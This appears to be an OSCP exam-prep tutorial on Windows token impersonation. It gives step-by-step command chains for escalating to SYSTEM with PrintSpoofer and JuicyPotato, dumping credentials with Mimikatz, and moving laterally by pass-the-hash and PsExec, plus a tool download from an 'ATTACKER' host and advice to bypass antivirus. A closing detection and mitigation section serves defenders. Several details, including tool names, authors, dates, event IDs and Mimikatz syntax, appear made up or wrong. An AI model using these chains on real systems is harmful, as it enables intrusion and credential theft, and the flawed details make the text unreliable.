Token Impersonation Lateral Movement
Table of Contents
- Windows Security Tokens Overview
- Token Types and Impersonation Levels
- Token Privileges
- Mimikatz Token Manipulation
- Token Privilege Escalation Exploits
- PrintSpoofer and GodPotato
- Incognito Tool
- Using Elevated Tokens for Lateral Movement
- Detection and Mitigation
- Common Pitfalls and Troubleshooting
- OSCP Exam Tips
Windows Security Tokens Overview
What Is a Security Token?
A security token is a data structure created by Windows when a user logs on. It contains the security context (identity, privileges, groups) that determines what resources the user can access. Every process runs under a security token.
Token Structure
┌─────────────────────────────────────────────┐
│ SECURITY TOKEN │
├─────────────────────────────────────────────┤
│ User SID: S-1-5-21-...-1001 │
│ Authentication ID: 0x0,0x3E7 │
│ Token Type: Primary / Impersonation │
│ Impersonation Lvl: Delegation │
│ Privileges: SeDebugPrivilege │
│ SeImpersonatePrivilege │
│ SeAssignPrimary... │
│ Groups: BUILTIN\\Administrators │
│ DOMAIN\\Domain Users │
│ NT AUTHORITY\\INTERACTIVE│
└─────────────────────────────────────────────┘
Primary Tokens vs. Impersonation Tokens
| Token Type | Description | Use Case |
|---|---|---|
| Primary Token | Full identity token | User logon, process creation |
| Impersonation Token | Represents another user’s identity | Service impersonation, web requests |
Primary Tokens
- Created at logon time
- Contain the full security context of the user
- Used by processes running as that user
- Cannot be directly “stolen” – must be duplicated or inherited
Impersonation Tokens
- Created when a service impersonates a client
- Common in IIS, services, and network applications
- Have limited impersonation levels
- Can potentially be upgraded to primary tokens
Token Flow in Windows
User Logon
│
▼
LSASS creates Primary Token
│
▼
Process created with Primary Token
│
├──▶ Service receives client request
│ │
│ ▼
│ Create Impersonation Token (client's identity)
│ │
│ ▼
│ Service acts on behalf of client
│
├──▶ Token can be manipulated if:
│ - SeImpersonatePrivilege is present
│ - Vulnerable service exists
│ - Exploit is available
│
▼
Elevated Token → Lateral Movement
Token Types and Impersonation Levels
Four Impersonation Levels
Windows defines four levels of impersonation, from least to most powerful:
| Level | Constant | Description | Attack Value |
|---|---|---|---|
| SecurityAnonymous | 0 | No identification | Useless for attacks |
| SecurityIdentification | 1 | Can query permissions only | Limited value |
| SecurityImpersonation | 2 | Can act on client’s behalf | Exploitable |
| SecurityDelegation | 3 | Full impersonation + forwarding | Most valuable |
Level Details
SecurityAnonymous (Level 0)
- Cannot identify the client
- Cannot access any client resources
- Cannot be exploited for privilege escalation
SecurityIdentification (Level 1)
- Can identify the client (query token information)
- Cannot impersonate the client
- Cannot access client resources
- Limited attack value
SecurityImpersonation (Level 2) – MOST COMMON TARGET
- Can impersonate the client
- Can access resources the client can access
- Can be upgraded to a primary token (with exploit)
- PRIMARY target for token impersonation attacks
- Common in: IIS, services, scheduled tasks
SecurityDelegation (Level 3) – MOST POWERFUL
- Full impersonation capabilities
- Can forward identity to other servers
- Used in: Kerberos constrained delegation, RDP
- Rarely found in exploitable contexts
- If found, extremely valuable
Checking Token Levels
# Check current token level
$token = [System.Security.Principal.WindowsIdentity]::GetCurrent().Token
Write-Host "Token Type: $([System.Security.Principal.TokenType]::($token.GetType()))"
# Check privileges
whoami /priv
# Check token information
whoami /all
Token Levels in Practice
# Common sources of impersonation tokens:
# IIS Application Pool
# Runs with SeImpersonatePrivilege
# Vulnerable to Potato family exploits
# Services that impersonate clients
# Any service that calls ImpersonateClient()
# Check for services running as NETWORK SERVICE
# Scheduled Tasks
# May run with impersonation tokens
# Check task configuration
# Web applications
# ASP.NET applications often impersonate
# Check application pool identity
Token Privileges
Key Privileges for Token Attacks
| Privilege | LUID | Description | Attack Use |
|---|---|---|---|
| SeDebugPrivilege | 20 | Debug programs | Access any process, dump tokens |
| SeImpersonatePrivilege | 14 | Impersonate client after auth | Token impersonation exploits |
| SeAssignPrimaryTokenPrivilege | 21 | Assign primary token | Create processes with any token |
| SeTcbPrivilege | 15 | Act as OS component | Full system compromise |
| SeCreateTokenPrivilege | 8 | Create token | Create arbitrary tokens |
| SeLoadDriverPrivilege | 12 | Load/unload drivers | Kernel exploitation |
| SeBackupPrivilege | 16 | Backup files | Bypass file permissions |
| SeRestorePrivilege | 17 | Restore files | Write to any location |
SeDebugPrivilege
The most important privilege for token manipulation.
What it allows:
- Open any process (regardless of ownership)
- Read/write process memory
- Inject code into processes
- Dump process tokens
- Use tools like Mimikatz, Procdump
Who has it by default:
- Local Administrators
- SYSTEM account
How to check:
whoami /priv | findstr SeDebug
Using SeDebugPrivilege
# Check if you have SeDebugPrivilege
whoami /priv
# Look for:
# SeDebugPrivilege Debug programs Disabled
# Enable it (if present but disabled)
# Mimikatz: privilege::debug
# Once enabled, you can:
# - Access any process
# - Dump LSASS for credentials
# - Inject code into SYSTEM processes
# - Extract tokens from any process
SeImpersonatePrivilege
The key privilege for Potato-family exploits.
What it allows:
- Impersonate authenticated clients
- Create impersonation tokens
- Upgrade impersonation to primary (with exploit)
Who has it by default:
- Local Administrators
- SERVICE account
- NETWORK SERVICE account
- IIS Application Pool Identity
How to check:
whoami /priv | findstr SeImpersonate
Common Sources of SeImpersonatePrivilege
# Find processes with SeImpersonatePrivilege
Get-Process | ForEach-Object {
try {
$proc = Get-Process -Id $_.Id -ErrorAction Stop
# Check if running as service account
if ($proc.StartInfo.UserName -match "SERVICE|NETWORK") {
Write-Host "[+] $($_.Name) (PID: $($_.Id)) may have SeImpersonatePrivilege"
}
} catch {}
}
# Check service accounts
Get-WmiObject -Class Win32_Service |
Where-Object {$_.StartName -match "NetworkService|LocalService"} |
Select-Object Name, StartName, State |
Format-Table -AutoSize
SeAssignPrimaryTokenPrivilege
What it allows:
- Assign a primary token to a new process
- Create a process running as any user
Who has it by default:
- Very rare
- Typically only OS components
Attack value:
- If obtained, can create SYSTEM processes directly
- Bypasses need for exploitation
Checking All Privileges
# Full privilege listing
whoami /priv
# Sample output:
# PRIVILEGES INFORMATION
# ---------------------
#
# Privilege Name Description State
# ========================== ================================= ===
# SeShutdownPrivilege Shut down the system Disabled
# SeChangeNotifyPrivilege Bypass traverse checking Enabled
# SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
# SeImpersonatePrivilege Impersonate a client after authentication Enabled
# SeDebugPrivilege Debug programs Disabled
# PowerShell privilege check
$privileges = @()
$tokenHandle = [System.IntPtr]::Zero
$process = [System.Diagnostics.Process]::GetCurrentProcess()
$process.Refresh()
# Use whoami for simplicity
whoami /priv | Select-String "Enabled"
Mimikatz Token Manipulation
Mimikatz Privilege Module
Mimikatz’s privilege module is the primary tool for token manipulation.
Enabling SeDebugPrivilege
mimikatz # privilege::debug
[*] Windows::AddPrivilege seDebugPrivilege OK
This single command is critical – it enables SeDebugPrivilege, allowing Mimikatz to:
- Access any process
- Dump LSASS memory
- Extract tokens
- Inject code
Full Privilege Commands
# Enable debug privilege
privilege::debug
# Enable all possible privileges
privilege::all
# Check current privileges
privilege::show
# Enable specific privilege
privilege::seImpersonatePrivilege
privilege::seAssignPrimaryTokenPrivilege
Mimikatz Token Module
Listing Tokens
# List all tokens accessible to the current process
token::list
# Sample output:
# * UID : 0
# * Token : Primary
# * AuthID : 0;3e7
# * Impersonation : N/A
# * ID : 1 (SYSTEM)
# * User : NT AUTHORITY\SYSTEM
# * GEV : 1 (Default)
# * Groups : ...
# * UID : 1
# * Token : Impersonation
# * AuthID : 0;2e4
# * Impersonation : Impersonation
# * ID : 1000 (User)
# * User : DOMAIN\user
Using Tokens
# Use a specific token (by UID from token::list)
token::uid 0
# Use SYSTEM token
token::elevate
# Use a specific user's token
token::revert
# Check current token
token::whoami
Token Delegation
# Create a delegation token from an impersonation token
token::delegation
# This converts an impersonation token to a primary token
# Requires SeAssignPrimaryTokenPrivilege
Complete Mimikatz Token Workflow
# Step 1: Enable debug privilege
privilege::debug
# Step 2: List available tokens
token::list
# Step 3: Choose target token
# Look for SYSTEM or high-privilege tokens
# Step 4: Use the token
token::uid 0
# Step 5: Verify elevation
token::whoami
# Should show: NT AUTHORITY\SYSTEM
# Step 6: Use elevated token
# Now run other Mimikatz modules or spawn a shell
sekurlsa::logonpasswords
Mimikatz Shell with Elevated Token
# After elevating token, spawn a SYSTEM shell
# Method 1: Using Mimikatz
sekurlsa::processes
# Find a SYSTEM process PID
sekurlsa::token
# Then use token::uid
# Method 2: Spawn shell directly
# After token::elevate
!processes
# Find cmd.exe or powershell.exe PID
!cmd
# Method 3: Use with other tools
privilege::debug
token::elevate
!cmd
# Now you have a SYSTEM command prompt
Mimikatz Token for Lateral Movement
# After obtaining SYSTEM token via Mimikatz
# Step 1: Extract credentials
sekurlsa::logonpasswords
# Step 2: Extract Kerberos tickets
sekurlsa::tickets /export
# Step 3: Use credentials for lateral movement
# Pass the hash
sekurlsa::pth /user:Administrator /domain:DOMAIN /ntlm:HASH /run:"psexec \\\\TARGET cmd"
# Pass the ticket
kerberos::ptt [exported ticket]
Token Privilege Escalation Exploits
The Potato Family
The “Potato” exploits leverage SeImpersonatePrivilege to escalate from SERVICE/NETWORK SERVICE to SYSTEM.
How Potato Exploits Work
┌─────────────────────────────────────────────────────┐
│ POTATO EXPLOIT FLOW │
│ │
│ 1. Attacker has SeImpersonatePrivilege │
│ (e.g., running as SERVICE or NETWORK SERVICE) │
│ │
│ 2. Exploit creates a named pipe │
│ and registers a fake HTTP/S HTTP handler │
│ │
│ 3. Exploit triggers DCERPC authentication │
│ from a SYSTEM process (e.g., via RPC) │
│ │
│ 4. SYSTEM connects to the named pipe │
│ The pipe authenticates SYSTEM's credentials │
│ │
│ 5. Exploit captures SYSTEM's impersonation token │
│ from the pipe connection │
│ │
│ 6. Exploit converts impersonation token to │
│ primary token using SeAssignPrimaryTokenPrivilege │
│ │
│ 7. Exploit spawns a SYSTEM shell │
│ │
└─────────────────────────────────────────────────────┘
RottenPotato (Original)
Author: @foxglove
Year: 2016
Vulnerability: MS16-075 related
Status: PATCHED (Windows 10 1607+, Server 2016+)
Requirements:
- SeImpersonatePrivilege
- Unpatched system
Usage:
1. Compile RottenPotato.exe
2. Run as SERVICE/NETWORK SERVICE
3. Get SYSTEM shell
Limitations:
- Patched by MS16-075
- Only works on older systems
JuicyPotato
Author: @ohpe
Year: 2017
Vulnerability: COM activation abuse
Status: Works on unpatched systems
Requirements:
- SeImpersonatePrivilege
- Valid CLSID for COM activation
Usage:
JuicyPotato.exe -l 1337 -p C:\windows\system32\cmd.exe -t * -c {CLSID}
Finding valid CLSIDs:
JuicyPotato.exe -c {CLSID}
Common CLSIDs:
- {F7FD3FD6-9994-4F25-8EF4-C4E4A3456E64}
- {E60687F7-0D77-4C06-8177-4DB70758362B}
- {F4E57C4E-2062-4A99-A8EF-98D882705FEF}
JuicyPotato Commands
# Basic usage
JuicyPotato.exe -l 1337 -p C:\windows\system32\cmd.exe -t * -c {F7FD3FD6-9994-4F25-8EF4-C4E4A3456E64}
# With custom payload
JuicyPotato.exe -l 1337 -p C:\temp\reverse_shell.exe -t * -c {F7FD3FD6-9994-4F25-8EF4-C4E4A3456E64}
# List available CLSIDs
JuicyPotato.exe -c {F7FD3FD6-9994-4F25-8EF4-C4E4A3456E64}
# With specific port
JuicyPotato.exe -l 8080 -p cmd.exe -t * -c {E60687F7-0D77-4C06-8177-4DB70758362B}
JuicyPotatoNG
Author: @antonCoco
Year: 2019
Improvement: Better CLSID enumeration, more reliable
Status: More reliable than original JuicyPotato
Requirements:
- SeImpersonatePrivilege
- .NET Framework installed
Usage:
JuicyPotatoNG.exe -t * -p "C:\windows\system32\cmd.exe" -l 1337
Auto-enumerate CLSIDs:
JuicyPotatoNG.exe -t * -p "cmd.exe" -c
JuicyPotatoNG Commands
# Basic usage (auto-finds CLSID)
JuicyPotatoNG.exe -t * -p "C:\windows\system32\cmd.exe" -l 1337
# With specific CLSID
JuicyPotatoNG.exe -t * -p "cmd.exe" -c {0CF6596A-3039-4080-9F4C-91BF5040E8E2} -l 1337
# With arguments
JuicyPotatoNG.exe -t * -p "cmd.exe /c whoami" -l 1337
# List available CLSIDs
JuicyPotatoNG.exe -c
Tool Comparison
| Tool | Year | Patch Status | Reliability | Ease of Use |
|---|---|---|---|---|
| RottenPotato | 2016 | Patched | Low (on patched) | Medium |
| JuicyPotato | 2017 | Partially patched | Medium | Medium |
| JuicyPotatoNG | 2019 | Partially patched | High | Easy |
| PrintSpoofer | 2021 | Works on latest | Highest | Easiest |
| GodPotato | 2019 | Works on latest | High | Medium |
| LongPotato | 2021 | Works on latest | High | Easy |
PrintSpoofer and GodPotato
PrintSpoofer (Recommended)
PrintSpoofer is the most reliable modern token impersonation exploit. It abuses the Print Spooler service.
How PrintSpoofer Works
1. Connects to Print Spooler service via RPC
2. Triggers impersonation of SYSTEM context
3. Captures SYSTEM impersonation token
4. Upgrades to primary token
5. Spawns SYSTEM shell
PrintSpoofer Usage
# Basic usage - get SYSTEM shell
PrintSpoofer64.exe -c "cmd"
# With specific command
PrintSpoofer64.exe -c "whoami"
# With reverse shell
PrintSpoofer64.exe -c "C:\temp\reverse_shell.exe"
# Interactive mode
PrintSpoofer64.exe -i
# Specify pipe name
PrintSpoofer64.exe -p "MyPipe" -c "cmd"
PrintSpoofer Step by Step
# Step 1: Upload PrintSpoofer
# Copy PrintSpoofer64.exe to target
# Step 2: Run with command
PrintSpoofer64.exe -c "cmd"
# Step 3: Verify SYSTEM
whoami
# Should return: nt authority\system
# Step 4: Use SYSTEM shell for lateral movement
# - Dump credentials
# - Access admin shares
# - Deploy additional tools
PrintSpoofer from Kali
# Download PrintSpoofer
# Available from GitHub: https://github.com/decSecurity/printSpoofer
# Compile or download pre-compiled binary
# Upload to target via SMB, PowerShell, etc.
# Via SMB
impacket-smbclient ADMIN:PASS@TARGET
put PrintSpoofer64.exe
# Via PowerShell
Invoke-WebRequest -Uri "http://ATTACKER/printSpoofer64.exe" -OutFile "C:\temp\PrintSpoofer64.exe"
# Execute
C:\temp\PrintSpoofer64.exe -c "cmd"
GodPotato
GodPotato is another reliable token impersonation exploit that works on modern Windows systems.
GodPotato Usage
# Basic usage
GodPotato.exe -c "cmd"
# With specific command
GodPotato.exe -c "whoami"
# With reverse shell
GodPotato.exe -c "C:\temp\shell.exe"
GodPotato vs. PrintSpoofer
| Feature | PrintSpoofer | GodPotato |
|---|---|---|
| Reliability | Very High | High |
| Windows Support | All modern versions | All modern versions |
| Print Spooler Required | Yes | No |
| Ease of Use | Very Easy | Easy |
| Detection | Print Spooler events | Various events |
| Recommendation | Primary choice | Alternative |
LongPotato
# LongPotato is another modern option
LongPotato.exe -c "cmd"
# Works on Windows 10/11 and Server 2019/2022
# Does not require Print Spooler
Incognito Tool
What Is Incognito?
Incognito is a tool by Casey Smith (@subTee) that lists and uses impersonation tokens available on a Windows system. It is particularly useful for finding and using delegation tokens.
Incognito Commands
# List all tokens
incognito -list_tokens:u
# List tokens for current user
incognito -list_tokens:g
# List all tokens with details
incognito -list_tokens:all
# Sample output:
# Delegation Tokens Available
# =========================================
# DOMAIN\Administrator
#
# Impersonation Tokens Available
# =========================================
# DOMAIN\user1
# DOMAIN\user2
# NT AUTHORITY\LOCAL SERVICE
# NT AUTHORITY\NETWORK SERVICE
Using Impersonation Tokens
# Execute command as impersonated user
incognito -impersonate_token "DOMAIN\Administrator" cmd
# Execute PowerShell as impersonated user
incognito -impersonate_token "DOMAIN\Administrator" powershell
# Execute specific command
incognito -impersonate_token "DOMAIN\Administrator" "whoami"
# Create new process with impersonation token
incognito -impersonate_token "DOMAIN\Administrator" -cmd "C:\temp\tool.exe"
Using Delegation Tokens
# Delegation tokens are more powerful
# They can be used for constrained delegation attacks
# List delegation tokens
incognito -list_tokens:d
# Use delegation token
incognito -impersonate_token "DOMAIN\Administrator" -delegation cmd
Incognito for Lateral Movement
# Step 1: Find valuable tokens
incognito -list_tokens:u
# Step 2: Identify admin tokens
# Found: DOMAIN\Administrator (Delegation)
# Step 3: Use the token for lateral movement
incognito -impersonate_token "DOMAIN\Administrator" `
"psexec \\\\TARGET_HOST cmd"
# Step 4: Or use for credential dumping
incognito -impersonate_token "DOMAIN\Administrator" `
"mimikatz.exe \"sekurlsa::logonpasswords\" exit"
Incognito vs. Mimikatz
| Feature | Incognito | Mimikatz |
|---|---|---|
| Token Listing | Excellent | Good |
| Token Usage | Direct execution | Via token::uid |
| Delegation Tokens | Specialized | Limited |
| Ease of Use | Simple commands | Complex syntax |
| Best For | Finding/using tokens | Full credential dumping |
| Detection | Process creation | Multiple indicators |
Using Elevated Tokens for Lateral Movement
Workflow: Token Escalation to Lateral Movement
┌─────────────────────────────────────────────────────┐
│ TOKEN ESCALATION → LATERAL MOVEMENT │
│ │
│ 1. Initial Access │
│ → User-level shell on Windows host │
│ │
│ 2. Check Privileges │
│ → whoami /priv │
│ → Has SeImpersonatePrivilege? │
│ │
│ 3. Escalate to SYSTEM │
│ → PrintSpoofer64.exe -c "cmd" │
│ → Verify: whoami → nt authority\system │
│ │
│ 4. Dump Credentials │
│ → Mimikatz: sekurlsa::logonpasswords │
│ → Extract NTLM hashes, Kerberos tickets │
│ │
│ 5. Lateral Movement │
│ → Use credentials via PsExec, RDP, SSH │
│ → Pass the hash, pass the ticket │
│ → Move to next target │
│ │
└─────────────────────────────────────────────────────┘
Step-by-Step Attack Chain
# Step 1: Initial foothold
# You have a user shell on WIN-HOST
# Step 2: Check privileges
whoami /priv
# Found: SeImpersonatePrivilege Enabled
# Step 3: Escalate to SYSTEM using PrintSpoofer
PrintSpoofer64.exe -c "cmd"
# Step 4: Verify SYSTEM
whoami
# Output: nt authority\system
# Step 5: Dump credentials with Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# Step 6: Found credentials:
# DOMAIN\Administrator : Password123!
# NTLM Hash: aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99
# Step 7: Lateral movement via PsExec
psexec \\TARGET_HOST -u DOMAIN\Administrator -p Password123! cmd
# Step 8: Or pass the hash
psexec \\TARGET_HOST -u DOMAIN\Administrator -h 5f4dcc3b5aa765d61d8327deb882cf99 cmd
# Step 9: Or RDP
xfreerdp /v:TARGET_HOST /u:Administrator /p:Password123! /d:DOMAIN /cert-ignore
Automated Lateral Movement with Tokens
# PowerShell script for automated token-based movement
# Step 1: Check for impersonation privilege
$privs = whoami /priv | Select-String "SeImpersonate"
if ($privs) {
Write-Host "[+] SeImpersonatePrivilege found!" -ForegroundColor Green
# Step 2: Escalate using PrintSpoofer
& PrintSpoofer64.exe -c "powershell -ep bypass -f lateral_movement.ps1"
}
# lateral_movement.ps1 content:
# whoami
# mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# Parse output and move laterally
Token-Based Movement Techniques
Technique 1: SYSTEM Shell → Credential Dump → PsExec
# Get SYSTEM
PrintSpoofer64.exe -c "cmd"
# Dump creds
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# Move laterally
psexec \\NEXT_TARGET -u DOMAIN\admin -p Password cmd
Technique 2: Incognito → Delegation Token → RDP
# Find delegation tokens
incognito -list_tokens:d
# Use delegation token to RDP
incognito -impersonate_token "DOMAIN\Administrator" `
"mstsc /v:TARGET_HOST"
Technique 3: Mimikatz → PTK → Lateral Movement
# Pass the Ticket approach
# Step 1: Get SYSTEM
PrintSpoofer64.exe -c "cmd"
# Step 2: Export tickets
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
# Step 3: Use ticket on attack machine
# Copy .kirbi files to Kali
# Convert and use
python3 ticketer.py -thread-number 0 -t ticket.kirbi -u Administrator -d DOMAIN
# Step 4: Move laterally with ticket
export KRB5CCNAME=/tmp/ticket.ccache
psexec.py -k -no-pass DOMAIN/Administrator@TARGET
Detection and Mitigation
Detection Indicators
Windows Event Logs
| Event ID | Source | Description | Detection Value |
|---|---|---|---|
| 4673 | Security | Special privileges used | SeDebug, SeImpersonate used |
| 4674 | Security | Self-access handle | Process self-manipulation |
| 4688 | Security | Process creation | New process with elevated token |
| 7045 | System | Service installed | Potato exploits install services |
| 1101 | Microsoft-Windows-Sysmon | Process access | Process injection |
| 22 | Sysmon | Raw access thread | Thread injection |
| 10 | Sysmon | Process event | Suspicious process creation |
| 3 | Sysmon | Network connection | Lateral movement |
Key Detection Queries
# Detect special privilege usage
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4673
} | Where-Object {
$_.Message -match "SeDebugPrivilege|SeImpersonatePrivilege"
}
# Detect Print Spooler abuse
Get-WinEvent -FilterHashtable @{
LogName='System'
ID=7045
} | Where-Object {
$_.Message -match "Spoolsv|Print"
}
# Detect Mimikatz-like activity
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4673
} | Where-Object {
$_.Message -match "SeDebugPrivilege"
}
# Detect new process with SYSTEM token
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4688
} | Where-Object {
$_.Message -match "NT AUTHORITY\\SYSTEM"
}
Sysmon Detection
<!-- Sysmon config for token detection -->
<!-- Event ID 10: ProcessAccess -->
<!-- Detect LSASS access -->
<ProcessAccess onmatch="include">
<SourceImage condition="end with">mimikatz.exe</SourceImage>
<SourceImage condition="end with">PrintSpoofer.exe</SourceImage>
<TargetImage condition="is">lsass.exe</TargetImage>
</ProcessAccess>
<!-- Event ID 1: ProcessCreate -->
<!-- Detect suspicious commands -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">privilege::debug</CommandLine>
<CommandLine condition="contains">sekurlsa::</CommandLine>
<CommandLine condition="contains">token::</CommandLine>
</ProcessCreate>
Network Detection
| Indicator | Description |
|---|---|
| LSASS access from unusual process | Credential dumping |
| New service creation | Potato exploit |
| Print Spooler RPC abuse | PrintSpoofer |
| Multiple SYSTEM processes | Token escalation |
| Unusual RPC traffic | Impersonation abuse |
Mitigation Strategies
1. Patch and Update
- Apply MS16-075 and subsequent patches
- Keep Windows updated
- Patch Print Spooler vulnerabilities
- Update to latest Windows version
2. Disable Print Spooler (if not needed)
# Stop and disable Print Spooler
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled
# Via Group Policy
# Computer Configuration -> Policies -> Windows Settings
# -> Security Settings -> System Services
# -> Print Spooler -> Disabled
3. Restrict Privileges
# Remove SeImpersonatePrivilege from non-essential accounts
# Via Group Policy:
# Computer Configuration -> Policies -> Windows Settings
# -> Security Settings -> Local Policies -> User Rights Assignment
# -> "Impersonate a client after authentication"
# Remove unnecessary accounts from this policy
4. Enable LSA Protection
# Enable RunAsPPL (Protected Process Light)
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\LSA' `
-Name 'RunAsPPL' -Value 1 -PropertyType DWord -Force
# This prevents LSASS access from non-protected processes
# Blocks Mimikatz and similar tools
5. Enable Credential Guard
# Enable Virtualization-Based Security
Enable-WindowsOptionalFeature -Online -FeatureName VirtualizationBasedSecurity
Enable-WindowsOptionalFeature -Online -FeatureName CredentialGuard
# Requires reboot
# Protects credentials from extraction
6. Monitoring
- Alert on Event ID 4673 with SeDebugPrivilege
- Alert on Event ID 7045 for new services
- Monitor Print Spooler RPC activity
- Track SYSTEM process creation
- Monitor for known exploit tool names
Common Pitfalls and Troubleshooting
Problem: PrintSpoofer Fails
# Common causes:
# 1. Print Spooler not running
# Fix: Start the service
net start Spooler
# 2. Already SYSTEM
# PrintSpoofer needs lower privilege to escalate
whoami
# If already SYSTEM, no need to escalate
# 3. Antivirus blocking
# Fix: Bypass AV or use alternative exploit
# 4. Wrong architecture
# Use PrintSpoofer64.exe for 64-bit
# Use PrintSpoofer.exe for 32-bit
Problem: JuicyPotato CLSID Not Working
# Try different CLSIDs
JuicyPotatoNG.exe -t * -p "cmd.exe" -c {0CF6596A-3039-4080-9F4C-91BF5040E8E2} -l 1337
JuicyPotatoNG.exe -t * -p "cmd.exe" -c {F7FD3FD6-9994-4F25-8EF4-C4E4A3456E64} -l 1337
JuicyPotatoNG.exe -t * -p "cmd.exe" -c {E60687F7-0D77-4C06-8177-4DB70758362B} -l 1337
# Or use JuicyPotatoNG which auto-enumerates
JuicyPotatoNG.exe -t * -p "cmd.exe" -l 1337
Problem: Mimikatz Access Denied
# Common causes:
# 1. SeDebugPrivilege not enabled
# Fix:
privilege::debug
# 2. LSA Protection enabled
# Fix: Use alternative method or disable LSA protection
# (Not recommended in production)
# 3. Not running with sufficient privileges
# Fix: Escalate to admin first
# 4. Credential Guard enabled
# Fix: Use alternative extraction method
# or disable Credential Guard
Problem: Incognito Shows No Tokens
# Possible causes:
# 1. No impersonation tokens available
# Fix: Find a service that impersonates clients
# 2. Not running as service account
# Fix: Get code execution in a service context
# 3. Tokens already consumed
# Fix: Trigger new impersonation
# Check current context
whoami
whoami /priv
Problem: Token Escalation Fails on Modern Windows
# Modern Windows (10 2004+, Server 2022) has mitigations
# Solutions:
# 1. Use PrintSpoofer (most reliable)
PrintSpoofer64.exe -c "cmd"
# 2. Use LongPotato
LongPotato.exe -c "cmd"
# 3. Use GodPotato
GodPotato.exe -c "cmd"
# 4. Look for alternative privesc vectors
# - Unquoted service paths
# - Weak service permissions
# - Vulnerable drivers
OSCP Exam Tips
Must-Know Commands
# Check privileges (ALWAYS do this first)
whoami /priv
# PrintSpoofer (PRIMARY tool for OSCP)
PrintSpoofer64.exe -c "cmd"
# Mimikatz privilege enable
privilege::debug
# Mimikatz token list
token::list
# Mimikatz elevate
token::elevate
# Incognito list tokens
incognito -list_tokens:u
Exam Workflow for Token Escalation
- Get initial shell – User-level access
- Check privileges –
whoami /priv - Check for SeImpersonatePrivilege – If present, use PrintSpoofer
- Escalate to SYSTEM –
PrintSpoofer64.exe -c "cmd" - Verify SYSTEM –
whoami - Dump credentials – Mimikatz or other tools
- Move laterally – Use harvested credentials
Common Exam Scenarios
Scenario 1: SERVICE Account → SYSTEM
# You're running as NT AUTHORITY\NETWORK SERVICE
# Check privileges
whoami /priv
# Found: SeImpersonatePrivilege Enabled
# Escalate
PrintSpoofer64.exe -c "cmd"
# Verify
whoami
# Output: nt authority\system
# Dump creds
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
Scenario 2: IIS Application Pool → SYSTEM
# You have code execution in IIS context
# IIS runs with SeImpersonatePrivilege
# Escalate
PrintSpoofer64.exe -c "cmd"
# Now SYSTEM
# Access application configs, dump creds, move laterally
Scenario 3: Token Manipulation with Mimikatz
# You have admin access but want another user's token
# Enable debug
privilege::debug
# List tokens
token::list
# Found SYSTEM token with UID 0
# Use it
token::uid 0
# Verify
token::whoami
# Output: NT AUTHORITY\SYSTEM
# Now dump credentials
sekurlsa::logonpasswords
Quick Reference Card
┌─────────────────────────────────────────────────────────┐
│ TOKEN IMPERSONATION CHEAT SHEET │
├─────────────────────────────────────────────────────────┤
│ │
│ Check Privileges: │
│ whoami /priv │
│ │
│ Key Privileges: │
│ SeDebugPrivilege → Access any process │
│ SeImpersonatePrivilege → Token impersonation │
│ SeAssignPrimaryToken → Create primary tokens │
│ │
│ PrintSpoofer (BEST): │
│ PrintSpoofer64.exe -c "cmd" │
│ │
│ Mimikatz Token: │
│ privilege::debug │
│ token::list │
│ token::uid N │
│ token::elevate │
│ │
│ JuicyPotatoNG: │
│ JuicyPotatoNG.exe -t * -p "cmd.exe" -l 1337 │
│ │
│ Incognito: │
│ incognito -list_tokens:u │
│ incognito -impersonate_token "USER" cmd │
│ │
│ Token Levels: │
│ 0=Anonymous 1=Identification │
│ 2=Impersonation 3=Delegation │
│ │
│ Key Event IDs: │
│ 4673 = Special Privileges Used │
│ 4688 = Process Creation │
│ 7045 = Service Installed │
└─────────────────────────────────────────────────────────┘
Key Takeaways
- Always check
whoami /priv– First step on any Windows box - SeImpersonatePrivilege is gold – Enables Potato exploits
- PrintSpoofer is the go-to – Most reliable modern exploit
- Mimikatz
privilege::debug– Enables all token manipulation - Token::list then token::uid – Find and use elevated tokens
- SYSTEM → credential dump → lateral movement – Standard chain
- Incognito for delegation tokens – Specialized token finder
- Event ID 4673 – Primary detection indicator
- Disable Print Spooler – Best mitigation if not needed
- LSA Protection – Blocks Mimikatz-style attacks